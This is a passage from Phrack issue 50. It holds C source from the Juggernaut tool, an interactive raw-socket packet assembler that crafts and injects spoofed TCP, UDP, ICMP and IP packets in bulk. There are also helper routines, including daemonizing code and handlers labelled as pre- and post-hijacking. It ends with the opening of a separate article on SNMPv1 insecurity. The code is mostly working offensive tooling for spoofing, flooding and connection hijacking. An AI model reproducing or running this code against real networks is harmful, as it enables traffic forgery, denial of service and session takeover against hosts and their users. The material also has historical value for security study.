#include <linux/udp.h>

#include <linux/icmp.h>

#include <linux/if_ether.h>

#include <linux/if.h>

#define MINIBUF 10

#define BUFSIZE 512

#define ETHHDR 14

#define PHDR 12

#define TCPHDR 20

#define UDPHDR 8

#define IPHDR 20

#define NOTRANSPORT 0x00

#define TCPTRANSPORT 0x01

#define UDPTRANSPORT 0x02

#define ICMPTRANSPORT 0x04

struct tpak{/* TCP packet */

struct tcphdr tcp;

char payload[BUFSIZE];

}tpack;

struct upak{/* UDP packet */

struct udphdr udp;

char payload[BUFSIZE];

}upack;

struct ipak{/* ICMP packet */

struct icmphdr icmp;

char payload[BUFSIZE];

}ipack;

struct rippak{ /* IP packet */

struct iphdr ip;

char payload[BUFSIZE+20]; /* Payload + transport header */

}rippack;

int woe; /* Global var to let us know where to return

to... */

extern int verbosity;

/* This will change when IP/TCP options are

implemented... */

#define RIPPACKETSIZE 552/* IP header + transport header of up to 20

bytes + 512 byte payload */

int prometheus(type)

int type;

{

void tcpa();

void udpa();

void icmpa();

void igmpa();

void ripa(int);

bzero(&rippack,sizeof(rippack));

woe=0;

switch(type){

case 1:

tcpa();/* TCP */

break;

case 2:

udpa();/* UDP */

break;

case 3:

icmpa();/* ICMP */

break;

case 4:

ripa(NOTRANSPORT);/* RAW IP with no transport and no payload */

break;

case 5:

return(woe=1); /* Done assembling packets */

default:

break; /* bad input ‑‑ not done */

}

return(woe);

}

/*

* TCP assembler

*/

void tcpa(){

void ripa(int);

void mwipe();

void mpktatcp(int,unsigned short,unsigned short,unsigned long,unsigned long,char *,unsigned short,char *);

char buf[2*MINIBUF];

unsigned long val;

int packetready=0;/* flag bits */

char data[4*MINIBUF]={0},flags[MINIBUF]={0},filename[4*MINIBUF]={0}; int i,j,fd,loopsentry=1;

bzero(&tpack,sizeof(tpack));

srandom((unsigned)time(0)); /* seed psuedo random number generator */

while(loopsentry){

mwipe(); mpktatcp(packetready,ntohs(tpack.tcp.source),ntohs(tpack.tcp.dest),ntohl(tpack.tcp.seq),ntohl(tpack.tcp.ack_seq),flags,ntohs(tpack.tcp.window),data);

fgets(buf,sizeof(buf),stdin); if(!(val=atoi(buf)))continue;

switch(val){

case 1: /* Source Port */

fprintf(stderr,"\nSource Port (0 ‑ 65535) [qr] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='r'){

tpack.tcp.source=htons(random()&0xffff); packetready|=0x01;

break;

}

if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){ if(packetready&0x01)packetready^=0x01;/* Clear flag

if set */

tpack.tcp.source=0;

break;

}

tpack.tcp.source=htons(val);

packetready|=0x01;

break;

case 2: /* Destination Port */

fprintf(stderr,"\nDestination Port (0 ‑ 65535) [qr] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='r'){

tpack.tcp.dest=htons(random()&0xffff); packetready|=0x02;

break;

}

if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){ if(packetready&0x02)packetready^=0x02; tpack.tcp.dest=0;

break;

}

tpack.tcp.dest=htons(val);

packetready|=0x02;

break;

case 3: /* Sequence Number */

fprintf(stderr,"\nSequence Number (0 ‑ 4294967295) [qr] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='r'){

tpack.tcp.seq=htonl(random());

packetready|=0x04;

break;

}

if(buf[0]=='q'||buf[0]=='‑'){

if(packetready&0x04)packetready^=0x04; tpack.tcp.seq=0;

break;

}

tpack.tcp.seq=htonl(strtoul(buf,0,10));

packetready|=0x04;

break;

case 4: /* Acknowledgement Number */

fprintf(stderr,"\nAcknowledgement Number (0 ‑ 4294967295) [qr] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='r'){

tpack.tcp.ack_seq=htonl(random());

packetready|=0x08;

break;

}

if(buf[0]=='q'||buf[0]=='‑'){

if(packetready&0x08)packetready^=0x08; tpack.tcp.ack_seq=0;

break;

}

tpack.tcp.ack_seq=htonl(strtoul(buf,0,10));

packetready|=0x08;

break;

case 5: /* Control Flags */

i=0;

bzero(flags,sizeof(flags));

fprintf(stderr,"\nURG? [yNq] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='q'){

if(packetready&0x10)packetready^=0x10; tpack.tcp.urg=0;

break;

}

if(buf[0]=='y'){

tpack.tcp.urg=1;

flags[i++]='U';

}

fprintf(stderr,"\nACK? [yNq] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='q'){

if(packetready&0x10)packetready^=0x10; tpack.tcp.ack=0;

break;

}

if(buf[0]=='y'){

tpack.tcp.ack=1;

flags[i++]='A';

}

fprintf(stderr,"\nPSH? [yNq] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='q'){

if(packetready&0x10)packetready^=0x10; tpack.tcp.psh=0;

break;

}

if(buf[0]=='y'){

tpack.tcp.psh=1;

flags[i++]='P';

}

fprintf(stderr,"\nRST? [yNq] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='q'){

if(packetready&0x10)packetready^=0x10; tpack.tcp.rst=0;

break;

}

if(buf[0]=='y'){

tpack.tcp.rst=1;

flags[i++]='R';

}

fprintf(stderr,"\nSYN? [yNq] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='q'){

if(packetready&0x10)packetready^=0x10; tpack.tcp.syn=0;

break;

}

if(buf[0]=='y'){

tpack.tcp.syn=1;

flags[i++]='S';

}

fprintf(stderr,"\nFIN? [yNq] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='q'){

if(packetready&0x10)packetready^=0x10; tpack.tcp.fin=0;

break;

}

if(buf[0]=='y'){

tpack.tcp.fin=1;

flags[i++]='F';

}

if(!flags[0])strcpy(flags,"none set");

packetready|=0x10;

break;

case 6: /* Window Size */

fprintf(stderr,"\nWindow Size (0 ‑ 65535) [qr] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='r'){

tpack.tcp.window=htons(random()&0xffff); packetready|=0x20;

break;

}

if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){ if(packetready&0x20)packetready^=0x20; tpack.tcp.window=0;

break;

}

tpack.tcp.window=htons(val);

packetready|=0x20;

break;

case 7: /* Data payload */

bzero(data,sizeof(data)); bzero(tpack.payload,sizeof(tpack.payload)); bzero(filename,sizeof(filename));

fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='c'){/* Input from command line */

fprintf(stderr,"\nEnter Payload [q] >"); fgets(tpack.payload,sizeof(tpack.payload),stdin); strncpy(data,tpack.payload,sizeof(data)); packetready|=0x40;

break;

}

if(buf[0]=='f'){/* Input from file */

fprintf(stderr,"\nFilename [q] >"); if(buf[0]==0x0a||buf[0]=='q')break; fgets(filename,sizeof(filename),stdin); for(i=0;i<4*MINIBUF;i++)if(!filename[i])break; filename[‑‑i]=0;/* Pesky Newline */

if((fd=open(filename,O_RDONLY))<0){ if(verbosity){ fprintf(stderr,"Cannot open file for reading.\n"); fprintf(stderr,"[cr]"); getchar();

}

continue;

}

i=0;

j=0;

while(i<512){ j=read(fd,tpack.payload,sizeof(tpack.payload)); if(!j)break; /* No more bytes ta read */

i+=j;

} strncpy(data,filename,sizeof(filename));

close(fd);

packetready|=0x40;

break;

}

if(packetready&0x40)packetready^=0x40; bzero(data,sizeof(data)); bzero(tpack.payload,sizeof(tpack.payload));

break;

case 8: /* Return to previous menu */

loopsentry=0;

bzero(&tpack,sizeof(tpack));

break;

case 9: /* Return to Main */

loopsentry=0;

woe=1;

break;

case 10: /* RIP assembler */

if(packetready==0x07f){ /* AND mask of all the options */

tpack.tcp.doff=5; /* Data offset */

ripa(TCPTRANSPORT); /* Checksum will be computed in

ripa */

break;

}

continue;

default: /* Bad input */

continue;

}

}

}

/*

* UDP assembler

*/

void udpa(){

void ripa(int);

void mwipe();

void mpktaudp(int,unsigned short,unsigned short,char *);

char buf[2*MINIBUF];

unsigned long val;

int packetready=0;/* flag bits */

char data[4*MINIBUF]={0},filename[4*MINIBUF]={0};

int i=0,j,fd=0,loopsentry=1;

bzero(&upack,sizeof(upack));

srandom((unsigned)time(0));

while(loopsentry){

mwipe();

mpktaudp(packetready,ntohs(upack.udp.source),ntohs(upack.udp.dest),data);

fgets(buf,sizeof(buf),stdin); if(!(val=atoi(buf)))continue;

switch(val){

case 1: /* Source Port */

fprintf(stderr,"\nSource Port (0 ‑ 65535) [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q'){

if(packetready&0x01)packetready^=0x01; upack.udp.source=0;

break;

}

if(buf[0]=='r'){

upack.udp.source=htons(random()&0xffff); packetready|=0x01;

break;

}

if(!(int)(val=atoi(buf)))break; upack.udp.source=htons(val);

packetready|=0x01;

break;

case 2: /* Destination Port */

fprintf(stderr,"\nDestination Port (0 ‑ 65535) [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q'){

if(packetready&0x02)packetready^=0x02; upack.udp.dest=0;

break;

}

if(buf[0]=='r'){

upack.udp.dest=htons(random()&0xffff); packetready|=0x02;

break;

}

if(!(int)(val=atoi(buf)))break;

upack.udp.dest=htons(val);

packetready|=0x02;

break;

case 3: /* Data payload */

bzero(data,sizeof(data)); bzero(upack.payload,sizeof(upack.payload)); bzero(filename,sizeof(filename));

fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='c'){/* Input from command line */

fprintf(stderr,"\nEnter Payload [q] >"); fgets(upack.payload,sizeof(upack.payload),stdin); strncpy(data,upack.payload,sizeof(data)); packetready|=0x04;

break;

}

if(buf[0]=='f'){/* Input from file */

fprintf(stderr,"\nFilename [q] >"); if(buf[0]==0x0a||buf[0]=='q')break; fgets(filename,sizeof(filename),stdin); for(i=0;i<4*MINIBUF;i++)if(!filename[i])break; filename[‑‑i]=0;

if((fd=open(filename,O_RDONLY))<0){ if(verbosity){ fprintf(stderr,"Cannot open file for reading.\n"); fprintf(stderr,"[cr]"); getchar();

}

continue;

}

i=0;

j=0;

while(i<512){ j=read(fd,upack.payload,sizeof(upack.payload)); if(!j)break;

i+=j;

} strncpy(data,filename,sizeof(filename));

close(fd);

packetready|=0x04;

break;

}

if(packetready&0x04)packetready^=0x04; bzero(data,sizeof(data)); bzero(upack.payload,sizeof(upack.payload));

break;

case 4: /* Return to previous menu */

loopsentry=0;

bzero(&upack,sizeof(upack));

break;

case 5: /* Retuen to Main */

loopsentry=0;

woe=1;

break;

case 6: /* RIP assembler */

if(packetready==0x07){ upack.udp.len=htons(UDPHDR+BUFSIZE); ripa(UDPTRANSPORT);

break;

}

continue;

default: /* bad input */

continue;

}

}

}

/*

* ICMP assembler

* This is no where as robust as it should be. In fact, it doesn't really * create legal ICMP packets. Oh well. Next version. I am tired of * packet assembly duldrums...

*/

void icmpa(){

void ripa(int);

void mwipe();

void mpktaicmp(int,unsigned short,unsigned short,char *);

char buf[2*MINIBUF];

unsigned long val;

int packetready=0;/* flag bits */

char data[4*MINIBUF]={0},filename[4*MINIBUF]={0};

int i=0,j,fd=0,loopsentry=1;

bzero(&ipack,sizeof(ipack));

while(loopsentry){

mwipe();

mpktaicmp(packetready,ipack.icmp.type,ipack.icmp.code,data);

fgets(buf,sizeof(buf),stdin); if(!(val=atoi(buf)))continue;

switch(val){

case 1:/* Type */

fprintf(stderr,"\nType (0,3,4,5,8,9,10,11,12,13,14,15,16,17,18) [q] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q'){

if(packetready&0x01)packetready^=0x01; ipack.icmp.type=0;

break;

}

if(!(int)(val=atoi(buf)))break;

ipack.icmp.type=val;

packetready|=0x01;

break;

case 2:/* Code */

fprintf(stderr,"\nCode (0,1 {2,3}) [q] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q'){

if(packetready&0x02)packetready^=0x02;

ipack.icmp.code=0;

break;

}

if(!(int)(val=atoi(buf)))break;

ipack.icmp.code=val;

packetready|=0x02;

break;

case 3:/* Data payload */

bzero(data,sizeof(data)); bzero(ipack.payload,sizeof(ipack.payload)); bzero(filename,sizeof(filename));

fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='c'){/* Input from command line */

fprintf(stderr,"\nEnter Payload [q] >"); fgets(ipack.payload,sizeof(ipack.payload),stdin); strncpy(data,ipack.payload,sizeof(data)); packetready|=0x04;

break;

}

if(buf[0]=='f'){/* Input from file */

fprintf(stderr,"\nFilename [q] >"); if(buf[0]==0x0a||buf[0]=='q')break; fgets(filename,sizeof(filename),stdin); for(i=0;i<4*MINIBUF;i++)if(!filename[i])break; filename[‑‑i]=0;

if((fd=open(filename,O_RDONLY))<0){ if(verbosity){ fprintf(stderr,"Cannot open file for reading.\n"); fprintf(stderr,"[cr]"); getchar();

}

continue;

}

i=0;

j=0;

while(i<512){ j=read(fd,upack.payload,sizeof(upack.payload)); if(!j)break;

i+=j;

} strncpy(data,filename,sizeof(filename)); close(fd);

packetready|=0x04;

break;

}

if(packetready&0x04)packetready^=0x04; bzero(data,sizeof(data)); bzero(ipack.payload,sizeof(ipack.payload));

break;

case 4:

loopsentry=0;

bzero(&ipack,sizeof(ipack));

break;

case 5:

loopsentry=0;

woe=1;

break;

case 6:

if(packetready==0x07){

ripa(ICMPTRANSPORT);

break;

}

continue;

default:

continue;

}

}

}

/*

* IP assembler and xmitter. Transport layer checksum routines thanks to * Myth (Red, actually).

*/

void ripa(transport)

int transport;

{

void mwipe();

void mpktaip(int,char *,char *,unsigned short,unsigned short,char *,char *,int,char *); char *hostLookup(unsigned long);

unsigned long nameResolve(char *);

unsigned short in_cksum(unsigned short *,int);

char buf[2*MINIBUF];

unsigned long val;

char tosflags[MINIBUF]={0},fflags[MINIBUF]={0},packettype[MINIBUF]={0}; char sip[2*MINIBUF]={0},dip[2*MINIBUF]={0},*tempBuf;

int packetready=0; /* flag bits */

int i=0,j=0,k=0; /* Counters */

int loopsentry=1,number=0;

struct sockaddr_in sin;

struct psuedoHeader{

unsigned long saddr;

unsigned long daddr;

unsigned char null;

unsigned char prot;

unsigned short tlen;

}*ppheader;

extern int ripsock;

bzero(&rippack,sizeof(rippack));

bzero((char *)&sin,sizeof(sin));

srandom((unsigned)time(0));

while(loopsentry){

i=0;

mwipe(); mpktaip(packetready,tosflags,fflags,ntohs(rippack.ip.frag_off),rippack.ip.ttl,sip,dip,number,packettype);

fgets(buf,sizeof(buf),stdin); if(!(val=atoi(buf)))continue;

switch(val){

case 1: /* TOS */

bzero(tosflags,sizeof(tosflags)); fprintf(stderr,"\nMinimize Delay? [yNq] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='q'){

if(packetready&0x01)packetready^=0x01; rippack.ip.tos=0;

break;

}

if(buf[0]=='y'){

rippack.ip.tos|=0x10;

tosflags[i++]='D';

}

fprintf(stderr,"\nMaximize Throughput? [yNq] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='q'){

if(packetready&0x01)packetready^=0x01; rippack.ip.tos=0;

break;

}

if(buf[0]=='y'){

rippack.ip.tos|=0x08;

tosflags[i++]='T';

}

fprintf(stderr,"\nMaximize Reliability? [yNq] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='q'){

if(packetready&0x01)packetready^=0x01; rippack.ip.tos=0;

break;

}

if(buf[0]=='y'){

rippack.ip.tos|=0x04;

tosflags[i++]='R';

}

fprintf(stderr,"\nMinimize Monetary Cost? [yNq] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='q'){

if(packetready&0x01)packetready^=0x01; rippack.ip.tos=0;

break;

}

if(buf[0]=='y'){

rippack.ip.tos|=0x02;

tosflags[i++]='C';

}

if(!tosflags[0])strcpy(tosflags,"none set"); packetready|=0x01;

break;

case 2:/* Frag Flags */

bzero(fflags,sizeof(fflags));

fprintf(stderr,"\nMore Fragments? [yNq] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='q'){

if(packetready&0x02)packetready^=0x02; rippack.ip.frag_off=0;

break;

}

if(buf[0]=='y'){

rippack.ip.frag_off|=htons(0x4000);

fflags[i++]='M';

}

fprintf(stderr,"\nDon't Fragment? [yNq] >"); fgets(buf,sizeof(buf),stdin);

if(buf[0]=='q'){

if(packetready&0x02)packetready^=0x02; rippack.ip.frag_off=0;

break;

}

if(buf[0]=='y'){ rippack.ip.frag_off|=htons(0x2000);

fflags[i++]='D';

}

if(!fflags[0])strcpy(fflags,"none set"); packetready|=0x02;

break;

case 3: /* Frag Offset */

fprintf(stderr,"\nFragment Offset [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='r'){ rippack.ip.frag_off|=htons(random()&0x1fff); packetready|=0x04;

break;

} if(buf[0]=='q'||(val=atoi(buf))<0||val>8191){ if(packetready&0x04)packetready^=0x04; rippack.ip.frag_off&=~0x3fff;

break;

}

rippack.ip.frag_off|=htons(val&0x1fff); packetready|=0x04;

break;

case 4:/* TTL */

fprintf(stderr,"\nTTL (0 ‑ 255) [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='r'){

rippack.ip.ttl=random()&0xff;

packetready|=0x08;

break;

}

if(buf[0]=='q'||(val=atoi(buf))<0||val>255){ if(packetready&0x08)packetready^=0x08; rippack.ip.ttl=0;

break;

}

rippack.ip.ttl=val;

packetready|=0x08;

break;

case 5:/* Source Address */

bzero(sip,sizeof(sip)); fprintf(stderr,"\nSource Address [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q'){

if(packetready&0x10)packetready^=0x10; rippack.ip.saddr=0;

break;

}

if(buf[0]=='r'){ rippack.ip.saddr=htonl(random()); strncpy(sip,hostLookup(rippack.ip.saddr),sizeof(sip)); packetready|=0x10;

break;

}

strncpy(sip,buf,sizeof(sip)); for(i=0;i<2*MINIBUF;i++)if(!sip[i])break; sip[‑‑i]=0; if(!(rippack.ip.saddr=nameResolve(buf))){ fprintf(stderr,"Cannot resolve IP address.\n"); fprintf(stderr,"[cr]"); getchar();

bzero(sip,sizeof(sip));

if(packetready&0x10)packetready^=0x10;

break;

}

packetready|=0x10;

break;

case 6:/* Destination Address */

bzero(dip,sizeof(dip)); fprintf(stderr,"\nDestination Address [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q'){ if(packetready&0x20)packetready^=0x20; rippack.ip.daddr=0;

break;

}

if(buf[0]=='r'){ strncpy(dip,hostLookup(rippack.ip.daddr),sizeof(dip)); rippack.ip.daddr=htonl(random()); packetready|=0x20;

break;

}

strncpy(dip,buf,sizeof(dip)); for(i=0;i<2*MINIBUF;i++)if(!dip[i])break; dip[‑‑i]=0; if(!(rippack.ip.daddr=nameResolve(buf))){ fprintf(stderr,"Cannot resolve IP address.\n"); fprintf(stderr,"[cr]"); getchar(); bzero(dip,sizeof(dip));

if(packetready&0x20)packetready^=0x20; break;

}

packetready|=0x20;

break;

case 7: /* Number of packets to send */

fprintf(stderr,"\nAmount (1 ‑ 65536) [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='r'){ number=(random()&0xffff); packetready|=0x40;

break;

} if(buf[0]=='q'||(val=atoi(buf))<0||val>65536){ if(packetready&0x40)packetready^=0x40; number=0;

break;

}

number=val;

packetready|=0x40;

break;

case 8: /* Return */

loopsentry=0;

bzero(&rippack,sizeof(rippack));

break;

case 9:

loopsentry=0;

woe=1;

break;

case 10:

if(packetready==0x7f){ sin.sin_family=AF_INET;

sin.sin_port=0;

rippack.ip.version=4; /* IPv4 */

rippack.ip.ihl=5; /* This will change

if options are

present */

switch(transport){

case NOTRANSPORT:/* IP packet only */

sin.sin_addr.s_addr=rippack.ip.daddr;

rippack.ip.protocol=IPPROTO_IP;

break;

case TCPTRANSPORT:/* TCP */

sin.sin_port=tpack.tcp.source; sin.sin_addr.s_addr=rippack.ip.daddr;

rippack.ip.protocol=IPPROTO_TCP;

tempBuf=(char *)malloc(PHDR+TCPHDR+BUFSIZE); ppheader=(struct psuedoHeader *)tempBuf;

ppheader‑>saddr=rippack.ip.saddr; ppheader‑>daddr=rippack.ip.daddr; ppheader‑>prot=IPPROTO_TCP; ppheader‑>null=0; ppheader‑>tlen=htons(TCPHDR+BUFSIZE);

bcopy(&tpack,tempBuf+PHDR,PHDR+TCPHDR+BUFSIZE); tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+BUFSIZE); free(tempBuf); bcopy((char *)&tpack,(char *)&rippack.payload,TCPHDR+BUFSIZE);

break;

case UDPTRANSPORT:/* UDP */

sin.sin_port=upack.udp.source; sin.sin_addr.s_addr=rippack.ip.daddr;

rippack.ip.protocol=IPPROTO_UDP;

tempBuf=(char *)malloc(PHDR+UDPHDR+BUFSIZE); ppheader=(struct psuedoHeader *)tempBuf;

ppheader‑>saddr=rippack.ip.saddr; ppheader‑>daddr=rippack.ip.daddr; ppheader‑>prot=IPPROTO_UDP; ppheader‑>null=0; ppheader‑>tlen=htons(UDPHDR+BUFSIZE);

bcopy(&upack,tempBuf+PHDR,PHDR+UDPHDR+BUFSIZE); upack.udp.check=in_cksum((unsigned short *)tempBuf,PHDR+UDPHDR+BUFSIZE); free(tempBuf); bcopy((char *)&upack,(char *)&rippack.payload,UDPHDR+BUFSIZE);

break;

case ICMPTRANSPORT:/* ICMP */

sin.sin_addr.s_addr=rippack.ip.daddr;

rippack.ip.protocol=IPPROTO_ICMP;

break;

default: /* Control should never fall here */

if(verbosity)perror("RIP Assembler [unknown transport]"); exit(1);

}

for(k=number,i=0;i<number;i++){ if((j=sendto(ripsock,&rippack,RIPPACKETSIZE,0,(struct sockaddr *)&sin,sizeof(sin)))<RIPPACKETSIZE){ fprintf(stderr,"Packet # %d: Wrote only %d bytes to raw socket\n",i,j); k‑‑;

if(verbosity)perror("RIP module sendto");

}

}

fprintf(stderr,"%d Packet(s) injected.\n",k); getchar();

break;

}

continue;

default:

continue;

}

}

/* NOTREACHED */

}

<‑‑>

<++> Juggernaut/NumberOneCrush/surplus.c

/*

*

* Juggernaut

* Version b2

*

* 1996/7 Guild productions

* daemon9[guild|phrack|r00t]

*

* comments to route@infonexus.com

*

* This coding project made possible by a grant from the Guild corporation *

* surplus.c ‑ helper functions

*

*/

#include <string.h>

#include <signal.h>

#include <stdio.h>

#include <fcntl.h>

#include <unistd.h>

#include <netdb.h>

#include <arpa/inet.h>

#include <sys/stat.h>

#include <sys/ioctl.h>

#include <sys/types.h>

#include <sys/wait.h>

#define HELPFILE "./ClothLikeGauze/.help"

#define FBUFSIZE 80

#define MINIBUF 10

extern int verbosity;

/*

* IP address into network byte order

*/

unsigned long nameResolve(hostname)

char *hostname;

{

struct in_addr addr;

struct hostent *hostEnt;

if((addr.s_addr=inet_addr(hostname))==‑1){ if(!(hostEnt=gethostbyname(hostname)))return(0); bcopy(hostEnt‑>h_addr,(char *)&addr.s_addr,hostEnt‑>h_length); }

return addr.s_addr;

}

#ifdef FASTCHECK

/*

* Fast IP checksum routine.

*/

unsigned short in_cksum(buff,len)

unsigned char *buff;

int len;

{

unsigned long sum = 0;

if (len>3){

__asm__("clc\n"

"1:\t"

"lodsl\n\t"

"adcl %%eax, %%ebx\n\t"

"loop 1b\n\t"

"adcl $0, %%ebx\n\t"

"movl %%ebx, %%eax\n\t"

"shrl $16, %%eax\n\t"

"addw %%ax, %%bx\n\t"

"adcw $0, %%bx"

: "=b" (sum) , "=S" (buff)

: "0" (sum), "c" (len >> 2) ,"1" (buff)

: "ax", "cx", "si", "bx" );

}

if(len&2){

__asm__("lodsw\n\t"

"addw %%ax, %%bx\n\t"

"adcw $0, %%bx"

: "=b" (sum), "=S" (buff)

: "0" (sum), "1" (buff)

: "bx", "ax", "si");

}

if(len&1){

__asm__("lodsb\n\t"

"movb $0, %%ah\n\t"

"addw %%ax, %%bx\n\t"

"adcw $0, %%bx"

: "=b" (sum), "=S" (buff)

: "0" (sum), "1" (buff)

: "bx", "ax", "si");

}

sum =~sum;

return(sum&0xffff);

}

#else

/*

* IP Family checksum routine

*/

unsigned short in_cksum(ptr,nbytes)

unsigned short *ptr;

int nbytes;

{

register long sum=0; /* assumes long == 32 bits */

u_short oddbyte;

register u_short answer; /* assumes u_short == 16 bits */

while(nbytes>1){

sum+=*ptr++;

nbytes‑=2;

}

if(nbytes==1){ /* mop up an odd byte, if necessary */

oddbyte=0; /* make sure top half is zero */

*((u_char *)&oddbyte)=*(u_char *)ptr; /* one byte only */

sum+=oddbyte;

}

sum+=(sum>>16); /* add carry */

answer=~sum; /* ones‑complement, then truncate to 16 bits */

return(answer);

}

#endif

/*

* Network byte order into IP address

*/

char *hostLookup(in)

unsigned long in;

{

#define BUFSIZE 256

char hostname[BUFSIZE]={0};

struct in_addr addr;

#ifdef USENAME

struct hostent *hostEnt;

#endif

addr.s_addr=in;

#ifdef USENAME

hostEnt=gethostbyaddr((char *)&addr,sizeof(struct in_addr),AF_INET); if(!hostEnt)

#endif

strcpy(hostname,inet_ntoa(addr)); /* KLUDGEY. */

#ifdef USENAME

else strcpy(hostname,hostEnt‑>h_name);

#endif

return(strdup(hostname));

}

/*

* Simple daemonizing procedure.

*/

int shadow(void){

int fd,pid;

extern int errno;

signal(SIGTTOU,SIG_IGN); /* Ignore these signals */

signal(SIGTTIN,SIG_IGN);

signal(SIGTSTP,SIG_IGN);

switch((pid=fork())){

case 0: /* Child */

break;

default:

exit(0); /* Parent */

case ‑1:

fprintf(stderr,"Forking Error\n"); exit(1);

}

setpgrp();

if((fd=open("/dev/tty",O_RDWR))>=0){ ioctl(fd,TIOCNOTTY,(char *)NULL);

close(fd);

}

errno=0;

chdir("/");

umask(0);

return(pid);

}

/*

* Keeps processes from zombiing on us...

*/

static void reaper(signo)

int signo;

{

pid_t pid;

int sys;

pid=wait(&sys);

signal(SIGCHLD,reaper);

return;

}

/*

* Dump usage and exit.

*/

void usage(nomenclature)

char *nomenclature;

{

fprintf(stderr,"\n\nUsage:\t%s [‑h] [‑s TOKEN [‑e xx] ] [‑v] [‑t xx]\n\n ‑h terse help

‑H expanded help for those 'specially challanged' people... ‑s dedicated sniffing (bloodhound) mode, in which TOKEN is found enticing ‑e enticement factor (defaults to 16)

‑v decrease verbosity (don't do this)

‑V version information

‑t xx network read timeout in seconds (defaults to 10) Invoked without arguments, Juggernaut starts in `normal` mode.\n\n",nomenclature); exit(0);

}

/*

* Simple file pager.

*/

void bookworm(){

FILE *fp;

char tempBuf[FBUFSIZE],buf[MINIBUF];

int i=0;

if(!(fp=fopen(HELPFILE,"r"))){

if(verbosity){

fprintf(stderr,"Cannot open help file.\n"); fprintf(stderr,"[cr]");

getchar();

return;

}

}

while(fgets(tempBuf,FBUFSIZE‑1,fp)){ fprintf(stderr,tempBuf);

if(i==24){

fprintf(stderr,"\n[cr,q] >");

bzero(&buf,sizeof(buf)); fgets(buf,sizeof(buf‑1),stdin); if(buf[0]=='q')break;

i=0;

}

else i++;

}

}

/*

* Main signal handler to facilitate clean exits.

*/

void twitch(){

void cleanexit();

if(verbosity)fprintf(stderr,"\nCaught signal, exiting cleanly.\n"); signal(SIGINT,SIG_DFL);

signal(SIGQUIT,SIG_DFL);

cleanexit();

}

/*

* Used as a catchall to cleanly exit proccesses

*/

void spasm(){

extern int linksock;

if(linksock)close(linksock); /* Hunter should have this... */

exit(0);

}

/*

* Spy signal handler.

*/

void convulsion(){

void twitch();

extern int sigsentry;

if(verbosity)fprintf(stderr,"\nCaught signal.\n"); fprintf(stderr,"[cr]");

getchar();

signal(SIGINT,twitch);

sigsentry=0;

}

/*

* Pre‑hijacking signal handler.

*/

void sputter(){

void twitch();

extern int sigsentry;

if(verbosity)fprintf(stderr,"\nCaught prehijack signal.\n"); signal(SIGINT,twitch);

sigsentry=0;

}

/*

* Post‑hijacking signal handler.

*/

void seizure(){

void twitch();

extern int sigsentry;

if(verbosity)fprintf(stderr,"\nCaught posthijack signal.\n"); sigsentry=0;

signal(SIGINT,twitch);

}

/*

* Exit Cleanly.

*/

void cleanexit(){

void powerdown();

extern int ripsock;

extern int hpid;

extern int acrstpid;

close(ripsock);

powerdown();

if(kill(hpid,SIGUSR1))if(verbosity){ /* Send signal to the hunter */

perror("(cleanexit) Could not signal hunter"); fprintf(stderr,"[cr]");

getchar();

}

if(acrstpid) /* Send signal to the automated connection reset daemon.

XXX ‑ This only signals one daemon! If more exist, they will be left stranded! */

if(kill(acrstpid,SIGUSR1))if(verbosity){ perror("(cleanexit) Could not signal ACRSTD"); fprintf(stderr,"[cr]");

getchar();

}

fprintf(stderr,"Juggernaut is a Guild Corporation production, (c) 1996/7.\n\n"); exit(0);

}

<‑‑>

SNMP insecurities

.oO Phrack 50 Oo.

Volume Seven, Issue Fifty

7 of 16

Network Management Protocol Insecurity: SNMPv1

alhambra [guild]

alhambra@infonexus.com

As networks have become larger and more complex, a need has been felt by certain portions of the network administration crowd to implement network management protocols. From an administrative point of view, this makes a lot of sense; centralize the administration of the network, and make it convenient and easy for the administrator to monitor and administer changes as needed. As usual, however, from the security point of view, these protocols are a potential for catastrophe.

In this article, we'll explore the world of SNMPv1. In two later articles (to be published in later issues of Phrack) we'll look into other network management schemes (SNMPv2, DCE, etc). SNMPv1 has been around for a while. In fact, a number of the problems outlined in this paper have been fixed with the release of SNMPv2. As usual, however, large networks who placed their original administration burdens on SNMPv1 have been slow to change. As a result, large corporations, universities, and some small/cheap ISP's still run their routers/hubs/bridges/hosts/etc with version 1 enabled, often in horribly set up configurations.

The SNMP protocol

